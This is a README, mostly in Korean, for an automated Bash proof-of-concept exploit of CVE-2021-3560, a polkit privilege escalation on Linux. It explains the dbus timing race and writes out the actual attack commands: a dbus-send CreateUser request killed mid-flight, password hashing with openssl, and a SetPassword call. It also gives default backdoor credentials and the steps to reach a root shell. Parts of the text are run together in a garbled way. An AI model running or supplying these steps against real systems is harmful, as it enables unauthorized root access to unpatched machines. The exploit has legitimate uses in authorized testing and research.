
CVE-2021-3560 polkit 권한 상승을 위한 자동화된 Bash PoC. dbus 타이밍 경쟁 조건을 악용하여 취약한 Linux 배포판에서 sudo 사용자를 생성하고 루트 셸을 획득합니다.
이것은 Kevin Backhouse의 블로그에서 언급된 악용 단계를 자동화하는 Bash PoC 스크립트입니다. 이 취약점에 대한 그의 게시물을 읽어보세요: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice와 gnome-control-center가 설치된 배포판에서만 동작하며, polkit 버전 0.113(이후 버전) 또는 0-105-26(polkit의 Debian 포크)이 있어야 합니다.polkit 버전 0-105-26(polkit의 Debian 포크)이 있는 Ubuntu 20.04와 polkit 버전 0.115가 있는 Centos 8에서 테스트되었습니다. 대상이 취약하다고 확신하지만 익스플로잇의 검사 기능이 실패하면 -f=y 플래그를 사용하여 모든 검사를 우회하고 익스플로잇을 강제로 실행하세요.이 취약점을 수동으로 악용하는 방법에 대한 자세한 설명과 PoC는 연구자의 블로그에 상세히 나와 있습니다.
TL;DR은 다음과 같습니다:
dbus 메시지를 보내 polkit을 트리거하지만, polkit이 요청을 처리하는 동안 요청을 갑자기 종료하여 이 취약점을 악용할 수 있습니다. 그런 다음 공격자는 이전 요청의 고유 버스 식별자를 사용하여 두 번째 요청을 보내 UID 0, 즉 root로 요청을 실행할 수 있습니다.polkit이 더 이상 존재하지 않는 버스 식별자를 가진 연결의 UID를 UID 0의 요청으로 취급하기 때문에 존재합니다. 즉, 공격 타이밍을 정확히 맞추고 첫 번째 요청을 적절한 순간에 종료할 수 있다면 UID 0, 즉 root의 권한으로 두 번째 요청을 보낼 수 있습니다.앞서 말했듯이 이것은 Kevin Backhouse의 PoC를 자동화하는 bash 스크립트일 뿐입니다. 핵심 명령은 동일하며, 타이밍 계산, 취약점 스캔, 사용자 지정 자격 증명 삽입, 예쁜 색상 출력 등의 몇 가지 초기 단계만 자동화했습니다.
이 스크립트가 매개변수 없이 실행된 경우, 이 스크립트의 기본 동작은 다음과 같습니다:
/etc/os-release 파일 사용]accountservice와 gnome-control-center 설치 여부를 확인합니다. [rhel/centos/fedora에서는 rpm -qa를 사용하고 debian/ubuntu 배포판에서는 dpkg -l을 사용합니다].rhel.centos,fedora의 경우 0.113(이후 버전), Debian/Ubuntu의 경우 0-105-26]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null $t)은 요청에 필요한 시간을 2로 나누어 계산합니다. () [awk를 사용하여 계산]su - <username>을 사용하여 계정에 로그인한 다음 sudo bash를 입력하여 root 셸을 획득할 수 있습니다!Esc 키를 눌러 인증 프롬프트를 닫고 Ctrl+C를 눌러 스크립트를 신속하게 종료하세요.$t=time-required-to-request/2$t)이 계산된 후, $username secnigma를 대상에 삽입하는 요청이 20회 반복됩니다. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma로 확인], 비밀번호 해시가 생성됩니다 [bash openssl passwd -5 `echo -n $password` 사용]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!